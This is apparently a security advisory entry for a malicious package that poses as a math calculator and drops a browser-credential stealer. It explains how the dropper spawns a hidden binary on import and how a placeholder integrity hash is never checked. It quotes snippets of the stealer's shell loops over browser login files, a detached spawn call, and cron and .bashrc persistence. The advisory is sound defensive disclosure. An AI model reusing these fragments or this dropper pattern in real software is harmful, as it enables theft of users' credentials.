GCVE-110-OSM-2026-10465

This package is a classic stealer dropper masquerading as a math utility. The entrypoint (dist/index.mjs) spawns dist/math-calc.bin as a detached child process with suppressed I/O immediately on import — the 'integrity check' is intentionally broken (the expected hash is a placeholder that will never match, ensuring the binary always runs). The binary itself matches the chai-max browser credential stealer signature, containing explicit shell commands to exfiltrate Chrome, Brave, Edge, and Firefox login databases, cookies, and key4.db files. The binary communicates with a hardcoded C2 IP and uses litterbox.catbox.moe as an exfil staging endpoint for stolen data — a known abuse vector for file upload. Cron and .bashrc persistence mechanisms are embedded in the binary for long-term access. The publisher account is brand new with only two packages, consistent with a throwaway attacker identity. ENTRY dist/index.mjs (main: ./dist/index.mjs) LOOT - Browser Data Theft in dist/math-calc.bin: "firefox/*/logins.json; do [ -f "$p" ] || continue; PR=$(basename $(dirname "$p")..." PERSISTENCE - Cron Job Persistence in dist/math-calc.bin: "crontab -" - Startup Persistence in dist/math-calc.bin: ".bashrc" DESTINATION - 6 c2 (ipv4, urls, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Chai-Max Browser Data Theft in dist/math-calc.bin: "BraveSoftware/Brave-Browser microsoft-edge; do for p in ~/.config/$b/*/Login" - Binary: Credential Theft in dist/math-calc.bin: "N=0; for b in google-chrome chromium BraveSoftware/Brave-Browser microsoft-edge;..." - Detached Child Process Payload in dist/index.mjs: "spawn(binaryPath, [], { stdio: 'pipe', shell: false, detached: true" - Binary: Shell in dist/math-calc.bin: "/bin/sh" - Binary: Network IOCs Detected in dist/math-calc.bin: "http://%s:%d/Others/%s" PAYLOAD FILES dist/math-calc.bin